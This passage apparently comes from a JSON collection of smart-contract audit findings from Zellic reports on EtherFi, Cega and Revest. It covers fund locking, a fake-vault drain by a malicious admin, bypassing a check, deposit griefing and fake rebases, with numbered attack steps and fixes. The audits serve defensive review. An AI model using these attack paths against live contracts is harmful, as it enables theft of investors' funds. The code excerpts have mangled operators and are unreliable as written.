tokens that it receives. In this instance, the user\u2019s funds would be lost forever. There is a risk that user funds may become permanently locked either by accident or as a result of deliberate actions taken by a malicious owner. See Ethereum Improvement Proposal EIP-165 for a way to determine whether a con- tract implements a certain interface. This will prevent the owner from making a mis- take, but it will not prevent a malicious owner from locking user funds forever. Alternatively, consider not allowing this contract address to be modified by the owner. It should be made immutable. If the receiver contract\u2019s implementation needs to change in the future, consider using a proxy pattern to do that. Gadze Finance SEZC acknowledged this finding and stated that they understand the risk, but have mitigated it by ensuring that multiple parties are involved when setting the receiver contract. Their official response is produced below. Zellic Gadze Finance SEZC The receiver contract has not been set yet and will be set through multiple parties being involved with the decision, we do understand the risk however, we have mitigated this with multiple parties being involved. We do understand it only takes 1 address to make the call and this is a risk. Zellic Gadze Finance SEZC", + "html_url": "https://github.com/Zellic/publications/blob/master/EtherFi_-_Zellic_Audit_Report.pdf" + }, + { + "title": "3.2 Using values from emitted events may not be fully accurate", + "labels": [ + "Zellic" + ], + "body": "Target: EarlyAdopterPool Category: Coding Mistakes Likelihood: N/A Severity: Informational : Informational The getContractTVL() function uses the contract\u2019s balance of ERC20 tokens and Ether to determine the TVL of the pool. function getContractTVL() public view returns (uint256 tvl) { tvl = (rETHInstance.balanceOf(address(this)) + wstETHInstance.balanceOf(address(this)) + sfrxETHInstance.balanceOf(address(this)) + cbETHInstance.balanceOf(address(this)) + address(this).balance); } This function is then used when emitting events related to TVL. The issue is that the balance of the ERC20 tokens in the contract, as well as the balance of Ether in the contract, can be manipulated by any user by sending tokens / Ether di- rectly to the contract (as opposed to going through the deposit() function). Therefore, depending on the TVL values returned from this function (and, by extension, emitted through the events such as ERC20TVLUpdated) may be inaccurate. Without knowing how the values emitted through these events are used off chain, it is impossible to determine the impact. Consider tracking the balance of tokens and Ether in the contract separately through storage variables. This will prevent directly transferred tokens and Ether from being counted towards the TVL. Otherwise, ensure that the values emitted by TVL-related events are not used for critical operations off chain. Zellic Gadze Finance SEZC Gadze Finance SEZC acknowledged this finding and stated that they want to include any funds sent to the contract to be included in the TVL. Their official response is produced below. We understand the issue revolving an inaccurate TVL due to the contract being able to receive funds through direct transfers, however, we would still like to include any funds sent to the contract in our total value locked. Zellic Gadze Finance SEZC", + "html_url": "https://github.com/Zellic/publications/blob/master/EtherFi_-_Zellic_Audit_Report.pdf" + }, + { + "title": "3.3 Magic numbers should be replaced with immutable con- stants", + "labels": [ + "Zellic" + ], + "body": "Target: EarlyAdopterPool Category: Coding Mistakes Likelihood: N/A Severity: Informational : Informational There are a number of places in the code where magic numbers are used. For brevity\u2019s sake, the following is a list of line numbers where magic numbers are being used: 187 218 225 to 228 233 to 235 The use of magic numbers makes the code confusing, both for the developers in the future and for auditors. Consider replacing magic numbers with immutable constants. In instances where the magic number is used as a flag to determine which branch a function should take, consider using either an enum or separating the logic out into multiple functions. Gadze Finance SEZC acknowledged this finding and stated that they are not worried about this issue. The finding was partially remediated by refactoring the way the magic numbers are used in commit ebd3f11a. Their official response is produced below. The magic numbers have either been marked immutable or removed and sim- plified. It was often the use of the numbers to simplify large numbers for the reader. Zellic Gadze Finance SEZC", + "html_url": "https://github.com/Zellic/publications/blob/master/EtherFi_-_Zellic_Audit_Report.pdf" + }, + { + "title": "3.4 Use the correct function modifiers", + "labels": [ + "Zellic" + ], + "body": "Target: EarlyAdopterPool Category: Coding Mistakes Likelihood: N/A Severity: Informational : Informational The withdraw() function is marked as payable. This is incorrect as it does not make use of any ETH that it might (accidentally or otherwise) receive. The withdraw() and claim() functions are marked as public, although they are not used anywhere else in the contract. Functions that are marked as payable expect that ETH may be received. If the function does not account for this, then users may accidentally send ETH when invoking these functions, leading to a loss of funds. Functions that are only called externally should be marked as external. Remove the payable modifier from the withdraw() function. Replace the public modifier with the external modifier in the withdraw() and claim() functions. Gadze Finance SEZC acknowledged and partially remediated this finding by removing the payable modifier from the withdraw() function in commit b7be224c. Zellic Gadze Finance SEZC", + "html_url": "https://github.com/Zellic/publications/blob/master/EtherFi_-_Zellic_Audit_Report.pdf" + }, + { + "title": "3.5 Use safe ERC20 functions", + "labels": [ + "Zellic" + ], + "body": "Target: EarlyAdopterPool Category: Coding Mistakes Likelihood: N/A Severity: Informational : Informational This contract makes use of the ERC20 transfer() and transferFrom() functions. Not all ERC20 tokens adhere to the standard definition of these functions. The tokens that are used in this contract (rETH, wstETH, sfrxETH, cbETH) all adhere to the ERC20 token standard, so there is no impact. However, the cbETH token contract specifically uses a proxy pattern, which means that the contract is upgradable. If it were ever to upgrade to a new implementation where the transfer() or transferFro m() functions did not adhere to the standard anymore, then the contract would stop functioning. Consider replacing the use of transfer() and transferFrom() with the safe ERC20 safeTransfer() and safeTransferFrom() functions. Gadze Finance SEZC acknowledged this issue and contacted the Coinbase team to en- sure there were no planned upgrades to the cbETH token contract that would change the transfer() and transferFrom() function definitions. The Coinbase team confirmed that this was the case. Their official response is produced below. The ERC20 tokens being used with transfers have been checked by the team and they all follow the same patterns. Due to these being the only tokens used, with no option to add others, we are happy with the implementation. Zellic Gadze Finance SEZC", + "html_url": "https://github.com/Zellic/publications/blob/master/EtherFi_-_Zellic_Audit_Report.pdf" + }, + { + "title": "3.6 Unused variables should be removed", + "labels": [ + "Zellic" + ], + "body": "Target: EarlyAdopterPool Category: Coding Mistakes Likelihood: N/A Severity: Informational : Informational The following storage variables are not used anywhere in the contract: 1. SCALE 2. multiplierCoefficient In the calculateUserPoints() function, the numberOfMultiplierMilestones variable is initialized but not used: function calculateUserPoints(address _user) public view returns (uint256) { /) [ ...)) ] /)Variable to store how many milestones (3 days) the user deposit lasted uint256 numberOfMultiplierMilestones = lengthOfDeposit / 259200; if (numberOfMultiplierMilestones > 10) { numberOfMultiplierMilestones = 10; } /) [ ...)) ] } Unused variables introduce unnecessary complexity to the code and may lead to pro- grammer error in the future. Remove the variables unless there are plans to use them in the future. Zellic Gadze Finance SEZC The SCALE variable was removed in commit 8d080521 The multiplierCoefficient variable was removed in commit 1e5e61bc The numberOfMultiplierMilestones variable was removed in commit f23285b7 Zellic Gadze Finance SEZC 4 Threat Model This provides a full threat model description for various functions. As time permitted, we analyzed each function in the smart contracts and created a written threat model for some critical functions. A threat model documents a given function\u2019s externally controllable inputs and how an attacker could leverage each input to cause harm. Not all functions in the audit scope may have been modeled. The absence of a threat model in this section does not necessarily suggest that a function is safe.", + "html_url": "https://github.com/Zellic/publications/blob/master/EtherFi_-_Zellic_Audit_Report.pdf" + }, + { + "title": "4.1 Module: EarlyAdopterPool.sol Function: claim() Used to claim user funds. Branches and code coverage (including function calls) Intended branches", + "labels": [ + "Zellic" + ], + "body": "Allows user to claim rewarded funds successfully. 4\u25a1 Test coverage Negative behavior Should fail if claiming is not open. 4\u25a1 Negative test Should fail if the claimReceiverContract is not set. 4\u25a1 Negative test Should fail if the claimDeadline has been reached. 4\u25a1 Negative test Should fail if the user has not deposited anything. \u25a1 Negative test Function: depositEther() Used to deposit Ether into the contract. Branches and code coverage (including function calls) Intended branches Zellic Gadze Finance SEZC User is able to deposit Ether successfully. 4\u25a1 Test coverage The correct events are successfully emitted. Negative behavior Deposit should fail if claiming is open (i.e., depositing is closed). \u25a1 Negative test Function: deposit(address _erc20Contract, uint256 _amount) Used to deposit ERC20 tokens into the contract. Inputs _erc20Contract \u2013 Control: Fully controlled. \u2013 Constraints: Must be one of the whitelisted tokens (rETH, sfrxETH, wstETH, cbETH). \u2013 : This is the token that is transferred out of the user\u2019s wallet to this contract. _amount \u2013 Control: Fully controlled. \u2013 Constraints: Must be between minDeposit (0.1 Ether) and maxDeposit (100 Ether). \u2013 : This is the amount of tokens transferred out of the user\u2019s wallet to this contract. Branches and code coverage (including function calls) Intended branches User is successfully able to deposit all four tokens into the contract. 4\u25a1 Test coverage The correct events are successfully emitted. 4\u25a1 Test coverage Negative behavior Deposit should fail if the user provides an unsupported token contract address. \u25a1 Negative test Deposit should fail if claiming is open (i.e., depositing is closed). \u25a1 Negative test Zellic Gadze Finance SEZC Function call analysis deposit -> _erc20Contract.transferFrom(msg.sender, address(this), _amount ) \u2013 What is controllable?: _amount. \u2013 If return value controllable, how is it used and how can it go wrong?: N/A. \u2013 What happens if it reverts, reenters, or does other unusual control flow?: If it reverts, nothing happens. If it reenters, no harm can be done as the checks-effects-interactions pattern is used. Function: setClaimReceiverContract(address _receiverContract) Sets the contract that will receive claimed funds. Inputs _receiverContract \u2013 Control: Fully controlled. \u2013 Constraints: Cannot be address(0). \u2013 : User funds are transferred to this contract when funds are claimed. Branches and code coverage (including function calls) Intended branches The claim receiver contract address is set successfully. 4\u25a1 Test coverage The required events are emitted. \u25a1 Test coverage Negative behavior Should fail if not called by the owner. 4\u25a1 Negative test Should fail if the address of the contract is address(0). 4\u25a1 Negative test Function: setClaimingOpen(uint256 _claimDeadline) Sets claiming to open with a specified _claimDeadline. Inputs _claimDeadline Zellic Gadze Finance SEZC \u2013 Control: Fully controlled. \u2013 Constraints: N/A. \u2013 : Claiming will close when this deadline is reached. Branches and code coverage (including function calls) Intended branches Should open claiming and set the deadline successfully. \u25a1 Test coverage Should emit the required events successfully. \u25a1 Test coverage Negative behavior Should fail if not called by the contract owner. 4\u25a1 Negative test Function: withdraw() Used to withdraw all funds the user may have deposited into this contract. Branches and code coverage (including function calls) Intended branches User is able to withdraw funds successfully. 4\u25a1 Test coverage Zellic Gadze Finance SEZC 5 Audit Results At the time of our audit, the code was not deployed to mainnet EVM. During our audit, we discovered six findings. Of these, one was of medium risk and five were suggestions (informational). Gadze Finance SEZC acknowledged all findings and implemented fixes for some of them.", + "html_url": "https://github.com/Zellic/publications/blob/master/EtherFi_-_Zellic_Audit_Report.pdf" + }, + { + "title": "3.1 Missing valid vault address check in processDepositQueue", + "labels": [ + "Zellic" + ], + "body": "Target: FCNProduct Category: Coding Mistakes Likelihood: Medium Severity: High : High Investors are able to deposit assets into an FCNVault through the FCNProduct contract\u2019s addToDepositQueue() function. This function pulls funds from the investor\u2019s wallet and adds Deposit objects into a global depositQueue array within the FCNProduct contract. Subsequently, a trader admin is able to call processDepositQueue() to process these Deposit objects inside the depositQueue. On a high level, the processDepositQueue() function does the following: 1. Loops over the depositQueue a maximum of maxProcessCount times, or until it is empty. 2. For each deposit, it tracks the amount being deposited in the vault\u2019s metadata storage, accessed using the passed-in vaultAddress. 3. It calls the vault\u2019s deposit() function with the deposit amount and receiver ad- dress. This will send share tokens to the receiver. 4. If the depositQueue is empty afterwards, it will delete the queue. 5. Otherwise, it will shift over all remaining deposits in the queue to the beginning of the queue. Now, there are only two checks in processDepositQueue() that are used to determine whether the vaultAddress that is passed corresponds to a valid, usable vault. They are as follows: function processDepositQueue(address vaultAddress, uint256 maxProcessCount) public onlyTraderAdmin { FCNVaultMetadata storage vaultMetadata = vaults[vaultAddress]; require(vaultMetadata.vaultStatus =) VaultStatus.DepositsOpen, \u201c500:WS\u201d); Zellic Sanic Pte. Ltd. FCNVault vault = FCNVault(vaultAddress); require(!(vaultMetadata.underlyingAmount =) 0 &) vault.totalSupply() > 0), \u201c500:Z\u201d); /) [...))] } These two checks are not enough. For example, if the trader admin deploys a mali- cious vault contract, then they can bypass both checks by doing the following: 1. Calling openVaultDeposits() with the address of their malicious vault contract. 2. Ensuring that their malicious vault contract contains a totalSupply() function that returns a value greater than zero. function openVaultDeposits(address vaultAddress) public onlyTraderAdmin { FCNVaultMetadata storage vaultMetadata = vaults[vaultAddress]; vaultMetadata.vaultStatus = VaultStatus.DepositsOpen; } After this is done, both of the checks will pass, and the code will treat the malicious vault as a valid FCNVault contract. A malicious trader admin can steal investors\u2019 funds using the following steps. The funds being stolen here come out of funds that are currently awaiting to be deposited. 1. Set up a fake malicious vault contract as described in the previous section with an empty deposit() function and a maliciously crafted redeem() function (see further below). 2. Wait for investors to add deposits into the depositQueue. 3. Call processDepositQueue() with the malicious vault address as many times as needed to process all deposits in the queue. This sets the vault\u2019s status to NotT raded. 4. Call setTradeData() with the _tradeExpiry set to a time in the past. Zellic Sanic Pte. Ltd. 5. Call sendAssetsToTrade() to send the deposited assets to the market maker. This sets the vault\u2019s status to Traded. 6. Call calculateCurrentYield() with the malicious vault address. This will set the vault\u2019s status to TradeExpired. 7. Call calculateVaultFinalPayoff() with the malicious vault address. This will set the vault\u2019s status to PayoffCalculated. 8. Call collectFees() with the malicious vault address. This will set the vault\u2019s status to FeesCollected. 9. Queue a withdrawal to a trader admin\u2013controlled wallet address using the add ToWithdrawalQueue() function. Any amountShares is fine here. 10. Call processWithdrawalQueue(). This function ends up calling the vault\u2019s rede em() function to determine how many assets to return to the receiver of the withdrawal. 11. Since this is the Trader Admin\u2019s malicious vault contract, all they need to do is ensure that the malicious redeem() function returns balanceOf(address(fcnProd uct)) for themselves and 0 for all other receivers. After the final step, all asset tokens in the FCNProduct contract will be transferred out to the wallet address specified in step 9. In receiveAssetsFromCega(), we see the following: function receiveAssetsFromCegaState(address vaultAddress, uint256 amount) public { require(msg.sender =) address(cegaState), \u201c403:CS\u201d); FCNVaultMetadata storage vaultMetadata = vaults[vaultAddress]; /) a valid vaultAddress will never have vaultStart = 0 require(vaultMetadata.vaultStart !) 0, \u201c400:VA\u201d); IERC20(asset).safeTransferFrom(msg.sender, address(this), amount); vaultMetadata.currentAssetAmount += amount; } This same check should be added to processDepositQueue() and all other places where a vaultAddress is passed in as an argument. This will prevent invalid vault contract addresses from being used in the contract. Zellic Sanic Pte. Ltd. The client has acknowledged and remediated this issue by adding an onlyValidVau lt modifier that guarantees that the vaultAddress argument passed to all required functions is valid. This was done in commit f64513a9. Zellic Sanic Pte. Ltd.", + "html_url": "https://github.com/Zellic/publications/blob/master/Cega - Zellic Audit Report.pdf" + }, + { + "title": "3.2 A malicious or compromised trader admin may lead to locked funds", + "labels": [ + "Zellic" + ], + "body": "Target: FCNProduct Category: Coding Mistakes Likelihood: Low Severity: Medium : High Investors in the Cega protocol use the FCNProduct contract\u2019s addToDepositQueue() function to deposit their funds. This function uses safeTransferFrom() to transfer asset tokens from the investor\u2019s address to the FCNProduct contract. function addToDepositQueue(uint256 amount, address receiver) public { require(isDepositQueueOpen, \u201c500:NotOpen\u201d); queuedDepositsCount += 1; queuedDepositsTotalAmount += amount; require(queuedDepositsTotalAmount + sumVaultUnderlyingAmounts <) maxDepositAmountLimit, \u201c500:TooBig\u201d); IERC20(asset).safeTransferFrom(receiver, address(this), amount); depositQueue.push(Deposit({ amount: amount, receiver: receiver })); emit DepositQueued(receiver, amount); } Once these funds are deposited, the only way for the funds to leave the contract are through the following functions: 1. collectFees() - Only callable by the trader admin. Used to collect fees for the Cega protocol. 2. processWithdrawalQueue() - Only callable by the trader admin. Used to process investor withdrawals. 3. sendAssetsToTrade() - Only callable by the trader admin. Used to send de- posited assets to a market maker. As there are no other ways to take deposited funds out of the contract, a malicious or compromised trader admin may choose simply to not call any of these functions. If this were to happen, any deposited investor funds (and any other funds in the con- tract) will become locked in the contract forever. Zellic Sanic Pte. Ltd. A compromised or malicious trader admin can lead to funds being locked in the FCNP roduct contract forever. Consider adding a sweep-style function that allows the protocol to transfer out any tokens in the contract to a chosen address. Ideally, this function should only be ac- cessible by the default admin multi-sig role. function sweepTokens(address receiver) external onlyDefaultAdmin { IERC20(asset).safeTransfer(receiver, IERC20(asset).balanceOf(address(this))); } The client has acknowledged this issue, and has stated that it is mitigated due to the fact that the DefaultAdmin role can assign a new TraderAdmin through the CegaState contract. Zellic Sanic Pte. Ltd.", + "html_url": "https://github.com/Zellic/publications/blob/master/Cega - Zellic Audit Report.pdf" + }, + { + "title": "3.3 The vaultAddress validity check can be bypassed", + "labels": [ + "Zellic" + ], + "body": "Target: FCNProduct Category: Coding Mistakes Likelihood: Low Severity: Medium : Medium In the receiveAssetsFromCegaState() function, the following code is used to determine whether the vaultAddress passed to it corresponds to a valid vault: function receiveAssetsFromCegaState(address vaultAddress, uint256 amount) public { require(msg.sender =) address(cegaState), \u201c403:CS\u201d); FCNVaultMetadata storage vaultMetadata = vaults[vaultAddress]; /) a valid vaultAddress will never have vaultStart = 0 require(vaultMetadata.vaultStart !) 0, \u201c400:VA\u201d); IERC20(asset).safeTransferFrom(msg.sender, address(this), amount); vaultMetadata.currentAssetAmount += amount; } This check looks correct at first glance because the only way to get a vault metadata\u2019s vaultStart property set is through the createVault() function, which always creates an instance of an FCNVault contract: function createVault( string memory _tokenName, string memory _tokenSymbol, uint256 _vaultStart ) public onlyTraderAdmin returns (address vaultAddress) { require(_vaultStart !) 0, \u201c400:VS\u201d); FCNVault vault = new FCNVault(asset, _tokenName, _tokenSymbol); address newVaultAddress = address(vault); vaultAddresses.push(newVaultAddress); /) vaultMetadata & all of its fields are automatically initialized if it doesn't already exist in the mapping FCNVaultMetadata storage vaultMetadata = vaults[newVaultAddress]; vaultMetadata.vaultStart = _vaultStart; vaultMetadata.vaultAddress = newVaultAddress; Zellic Sanic Pte. Ltd. emit VaultCreated(newVaultAddress, vaultAddresses.length - 1); return newVaultAddress; } However, the rolloverVault() function can allow a malicious or compromised trader admin to bypass this check. The rolloverVault() function is missing a check to ensure that the vaultAddress passed to it is valid: function rolloverVault(address vaultAddress) public onlyTraderAdmin { FCNVaultMetadata storage vaultMetadata = vaults[vaultAddress]; require(vaultMetadata.vaultStatus =) VaultStatus.WithdrawalQueueProcessed, \u201c500:WS\u201d); require(vaultMetadata.tradeExpiry !) 0, \u201c400:TE\u201d); vaultMetadata.vaultStart = vaultMetadata.tradeExpiry; /) [ ...)) ] } This can be used to set an arbitrary address\u2019s vaultStart metadata property to a non- zero value, which would bypass the vaultAddress validity check. A malicious or compromised trader admin can cause the vault metadata of an arbi- trary address to look like a valid FCNVault. First, a malicious vault contract must be created. It must contain the following func- tions: 1. A totalSupply() function that returns a value greater than zero. 2. An empty deposit() function. 3. An empty redeem() function. Then, the malicious or compromised trader admin can take the following steps to set the malicious vault contract\u2019s vaultStart metadata property to a non-zero value. 1. Call openVaultDeposits() with the malicious vault address. This will set the vault\u2019s status to DepositsOpen. Zellic Sanic Pte. Ltd. 2. Call processDepositQueue() with the malicious vault address. This will set the vault\u2019s status to NotTraded. 3. Call setTradeData() with the _tradeExpiry set to a non-zero value, such that it is set to a time in the past. 4. Call sendAssetsToTrade() with the amount set to 0. This sets the vault\u2019s status to Traded. 5. Call calculateCurrentYield() with the malicious vault address. This will set the vault\u2019s status to TradeExpired. 6. Call calculateVaultFinalPayoff() with the malicious vault address. This will set the vault\u2019s status to PayoffCalculated. 7. Call collectFees() with the malicious vault address. This will set the vault\u2019s status to FeesCollected. 8. Call processWithdrawalQueue() with the malicious vault address. The withdrawal queue is empty, so this will just set the vault\u2019s status to WithdrawalQueueProces sed. 9. Call rolloverVault() with the malicious vault address. Both the require state- ments in the function will pass, and the vaultStart metadata property will be set to the _tradeExpiry value from step 3. Add the following check to rolloverVault(): function rolloverVault(address vaultAddress) public onlyTraderAdmin { FCNVaultMetadata storage vaultMetadata = vaults[vaultAddress]; require(vaultMetadata.vaultStart !) 0); /) Add this check /) [ ...)) ] } The client has acknowledged and fixed this issue by adding a vault address validity check to rolloverVault(). This was fixed in commit f64513a9. Zellic Sanic Pte. Ltd.", + "html_url": "https://github.com/Zellic/publications/blob/master/Cega - Zellic Audit Report.pdf" + }, + { + "title": "3.4 Ability to deposit on other users\u2019 behalf", + "labels": [ + "Zellic" + ], + "body": "Target: FCNProduct Category: Coding Mistakes Likelihood: Low Severity: Medium : Medium When a user calls addToDepositQueue(), they are required to pass the address of a receiver as the second argument. The function pulls an amount of asset tokens from the receiver via the use of safeTransferFrom(): function addToDepositQueue(uint256 amount, address receiver) public { require(isDepositQueueOpen, \u201c500:NotOpen\u201d); queuedDepositsCount += 1; queuedDepositsTotalAmount += amount; require(queuedDepositsTotalAmount + sumVaultUnderlyingAmounts <) maxDepositAmountLimit, \u201c500:TooBig\u201d); IERC20(asset).safeTransferFrom(receiver, address(this), amount); depositQueue.push(Deposit({ amount: amount, receiver: receiver })); emit DepositQueued(receiver, amount); } This implies that the receiver must preapprove the FCNProduct contract, as the saf eTransferFrom() will revert otherwise. Generally, the approval amount is set to the maximum uint256 value. This introduces a vector through which an attacker can de- posit more assets on behalf of the receiver at a later point in time. Consider the following scenario: 1. The victim decides they want to invest 1,000 USDC into an FCN product. 2. The victim max approves the FCNProduct contract and uses addToDepositQueu e() to invest 1,000 USDC. They have no intention of investing more than this amount. 3. Some amount of time later, the attacker notices that the victim\u2019s wallet has been transferred 50,000 USDC from elsewhere. Zellic Sanic Pte. Ltd. 4. The victim plans to use this USDC for other things, but the attacker now calls addToDepositQueue() with receiver set to the victim\u2019s address. 5. Since the victim has already approved the FCNProduct contract, this deposit will go through, and now the victim is at risk of losing a part of this money. The impact here is that the victim is griefed by the attacker. The attacker may or may not benefit from depositing funds on the victim\u2019s behalf, but the victim now stands to lose this money if, for example, the vault experiences a knock in event (a downside protection for user-deposited capital). There is also no way for the victim to cancel their deposit while it is in the deposit queue. We have noted that addToWithdrawalQueue() uses a similar pattern. However, we do not believe a similar attack vector exists there. We recommend removing the use of the receiver argument and instead pulling funds directly from msg.sender. The client has acknowledged and fixed this issue by removing the receiver parameter and using msg.sender instead. This was fixed in commit 4a95e773. Zellic Sanic Pte. Ltd.", + "html_url": "https://github.com/Zellic/publications/blob/master/Cega - Zellic Audit Report.pdf" + }, + { + "title": "3.5 Missing status check in openVaultDeposits", + "labels": [ + "Zellic" + ], + "body": "Target: FCNProduct Category: Coding Mistakes Likelihood: Low Severity: Low : Medium Before the depositQueue can be processed for a specific vault, that vault\u2019s status needs to be set to DepositsOpen. This can be achieved using the openVaultDeposits() func- tion: function openVaultDeposits(address vaultAddress) public onlyTraderAdmin { FCNVaultMetadata storage vaultMetadata = vaults[vaultAddress]; vaultMetadata.vaultStatus = VaultStatus.DepositsOpen; } This function does not check to ensure the vault is in the initial DepositsClosed status. A trader admin may accidentally, or through malicious intent, modify the status of any vault to DepositsOpen at any time from any arbitrary status. The vaults are designed to go through specific states in a certain order. If this order is not followed, the vault may end up in an unintended status, which could lead to any number of problems (e.g., the vault not functioning as intended). Add a preconditional status check to openVaultDeposits() to ensure that the vault is in a DepositsClosed status. The client has acknowledged and fixed this issue by adding a state check to openVaul tDeposits(). This was fixed in commit 455ab74c. Zellic Sanic Pte. Ltd.", + "html_url": "https://github.com/Zellic/publications/blob/master/Cega - Zellic Audit Report.pdf" + }, + { + "title": "3.6 Missing sanity checks for crucial protocol parameters", + "labels": [ + "Zellic" + ], + "body": "Target: FCNProduct Category: Coding Mistakes Likelihood: Low Severity: Medium : Medium The Cega smart contracts rely on a number of protocol parameters to function cor- rectly. There are functions that allow the admins of the protocol to alter most of these parameters. We found that the majority of these parameters are not checked to be within certain limits before they are set. The majority of these setter functions are only accessible by either the operator admin or the trader admin, both of which are non\u2013multi-sig wallets. In particular, the following functions are only accessible by either the operator admin or the trader admin. They are missing sanity checks on crucial protocol parameters before they are set: 1. setManagementFeeBps() - If set to 100%, it could lead to all investor funds being sent to the Cega fee recipient. Only accessible by the operator admin. 2. setYieldFeeBps() - Similar to setManagementFeeBps(). Only accessible by the operator admin. 3. setMaxDepositAmountLimit() - If set to 0, it will prevent the FCNProduct contract from accepting deposits, leading to denial of service. Only accessible by the trader admin. 4. setTradeData() - If the tradeExpiry parameter is set to hundreds of years in the future, funds would effectively be locked forever in the vault. Furthermore, the aprBps parameter can be set to a very high number. The trader admin can become an investor themselves and profit off of the high APR. Only accessible by the trader admin. 5. updateOptionBarrierOracle() and addOracle() - Allows full control over which oracle is used for a specific option barrier. Only accessible by the operator ad- min. 6. addOptionBarrier() and updateOptionBarrier() - If the strikeAbsoluteValue is set to 0, then a revert will occur when calculateVaultFinalPayoff() is called, as it will result in a division by 0 in calculateKnockInRatio(). Only accessible by the trader admin. Zellic Sanic Pte. Ltd. If the trader admin or operator admin roles are ever compromised or turn malicious, they would be able to set crucial protocol parameters to arbitrary values. This would cause the smart contracts to function incorrectly, and it may lead to loss of protocol or investors\u2019 funds in the worst case. Specifically, consider the setTradeData() function, which allows trader admins to mod- ify vault-specific metadata parameters. This function does not check the validity of the parameters. So, if a trader admin were to set the tradeExpiry parameter to a non- zero value that is less than the vaultStart configured in the createVault function, the collectFees() function would not be callable (i.e., the trader admin would be locked out of collecting fees). The collectFees() function internally calls the calculateFees() function, which has the following subtraction that would underflow: function calculateFees( FCNVaultMetadata storage self, uint256 managementFeeBps, uint256 yieldFeeBps ) public view returns (uint256, uint256, uint256) { /) [...))] uint256 numberOfDaysPassed = (self.tradeExpiry - self.vaultStart) / SECONDS_TO_DAYS; /) [...))] } Note that these parameters can be overridden by the default admin role (which is intended to be controlled by a multi-sig) using the setVaultMetadata() function, and therefore the impact is partially mitigated. Add sanity checks to these functions to ensure the parameters are within sane limits. The client has acknowledged and fixed this issue by adding the necessary sanity checks. This was fixed in commit a638c874. Zellic Sanic Pte. Ltd.", + "html_url": "https://github.com/Zellic/publications/blob/master/Cega - Zellic Audit Report.pdf" + }, + { + "title": "3.7 Gas griefing using zero-value deposits and withdrawals", + "labels": [ + "Zellic" + ], + "body": "Target: FCNProduct Category: Coding Mistakes Likelihood: Medium Severity: Low : Low Within the FCNProduct contract, users are able to submit deposits and withdrawals using the addToDepositQueue() and addToWithdrawalQueue() functions, respectively. Both these functions allow for zero-value deposits and withdrawals to be enqueued. The deposits and withdrawals are later processed by the processDepositQueue() and processWithdrawalQueue() functions, respectively. These functions are intended to be called by a trader admin, and they do not distinguish between zero-value and non\u2013 zero-value deposits and withdrawals. This means the same amount of gas will be used in both instances. An attacker that wants to grief the protocol into wasting gas can choose to add a lot of zero-value deposits or withdrawals. The only way to empty the queues are with the aforementioned processing functions; thus, the trader admin will be forced to waste gas on these zero-value deposits and withdrawals. Ensure that a user must deposit or withdraw a minimum amount of tokens. The client has acknowledged and fixed this issue by setting a minimum deposit and withdrawal amount. This was fixed in commit 1944cc8f. Zellic Sanic Pte. Ltd.", + "html_url": "https://github.com/Zellic/publications/blob/master/Cega - Zellic Audit Report.pdf" + }, + { + "title": "3.8 Missing checks and some access controls on critical func- tions", + "labels": [ + "Zellic" + ], + "body": "Target: FCNProduct Category: Business Logic Likelihood: N/A As explained by Cega, Severity: Informational : Informational The knock-in (KI) feature provides downside protection for investors\u2019 deposited capital. Specifically, investors will receive 100% of their initial investment in the FCN even if crypto asset prices are falling. In this case, unless crypto asset prices fall by 50% or more versus the day the vault started, investors\u2019 capital will be protected (unlike vanilla option strategies). If however the FCN does KI, the prin- cipal returned at expiry is equal to the lesser of 100% or the fallen asset price percentage of its initial price. To determine if a knock-in event has occurred, Cega uses option barriers. It is safe to assume that investors will choose their investments by carefully consid- ering a few factors. One of these factors may be to check what the knock-in barrier level is set to in relation to the price volatility of the option asset tokens. For example, if the token price is highly volatile, and the knock-in barrier level is at 90%, then there is a high chance that a knock-in event will occur, which may cause the investor to decide against investing in that specific vault. Currently, there exists three functions that the trader admin can use to add, update, and remove knock-in barriers. These are the addOptionBarrier(), updateOptionBarr ier(), and removeOptionBarrier() functions, respectively. An important characteris- tic of these functions is that they do not require the vault to be in any specific state, meaning the trader admin can add or update option barriers at any time, even after the investor\u2019s deposits are locked in. Furthermore, the parameters of a knock-in barrier can be arbitrary, as there are no sanity checks to ensure they are within certain limits. function addOptionBarrier(address vaultAddress, OptionBarrier calldata optionBarrier) public onlyTraderAdmin { FCNVaultMetadata storage metadata = vaults[vaultAddress]; Zellic Sanic Pte. Ltd. metadata.optionBarriers.push(optionBarrier); metadata.optionBarriersCount+); } This will reduce the investor\u2019s trust in the protocol because although they might note a very low knock-in barrier level initially (i.e., a low chance of a knock-in event oc- curring), they will know that the level may be raised at any moment, which makes the investment inherently risky. There also exists a setKnockInStatus() function that the trader admin can use to ar- bitrarily set a vault\u2019s knock-in status to true. Finally, the trader admin can also use the oracle\u2019s updateRoundData() function to arbi- trarily control the option asset token price returned by the oracle. This could also be used to trigger a knock-in event. Investors\u2019 trust in the protocol is significantly reduced due to missing checks and in- correct access controls in critical state-modifying functions. For the option barrier functionality, consider requiring a vault state of VaultStatus.No tTraded to modify any option barriers in the vault. For the setKnockInStatus() function, consider removing it completely. Alternatively, place it behind the onlyDefaultAdmin modifier instead. For the updateRoundData() function, consider changing its access control such that only the default admin multi-sig or the operator admin role can call it. The client has acknowledged and fixed all of the above issues according to our rec- ommendations. This was fixed in commit 834fe7ed. Zellic Sanic Pte. Ltd.", + "html_url": "https://github.com/Zellic/publications/blob/master/Cega - Zellic Audit Report.pdf" + }, + { + "title": "3.1 Griefing opportunity may cause users to lose funds", + "labels": [ + "Zellic" + ], + "body": "Target: TokenVault.sol Category: Business Logic Likelihood: High Severity: High : High The calculation of lastMul to account for rebase tokens is incorrect and can lead to devaluation of user funds deposited in the vault. function updateBalance(uint fnftId, uint incomingDeposit) internal { ...)) if(asset !) address(0)){ currentAmount = IERC20(asset).balanceOf(address(this)); } else { /) Keep us from zeroing out zero assets currentAmount = lastBal; } tracker.lastMul = lastBal == 0 ? multiplierPrecision : multiplierPrecision * currentAmount / lastBal; ...)) } The TokenVault supports rebase tokens with a dynamic supply to achieve certain eco- nomic goals, such as pegging a token to an asset. In TokenVault, we can see that the currentAmount is the balance of the TokenVault di- vided by lastBal. This checks whether the asset has rebased since the last interaction, signaling an increase or decrease in supply. However, an attacker may transfer ERC20 tokens directly to the vault, inflating curr entAmount, leading to an inflated lastMul, thus emulating a rebase. The deposit with inflated lastMul would be devalued when lastMul is reset back in the next updateBal ance call. Zellic Revest Finance Proof of Concept A sample proof-of-concept can be found here. The output is as follows: Minted one FNFT with id \u2212> 0 Current value of FNFT\u22120 is 10 Transferred 10 tokens to fake a rebase Minted another FNFT with id \u2212> 1 and 100 depositAmount The value should be 100 But the value 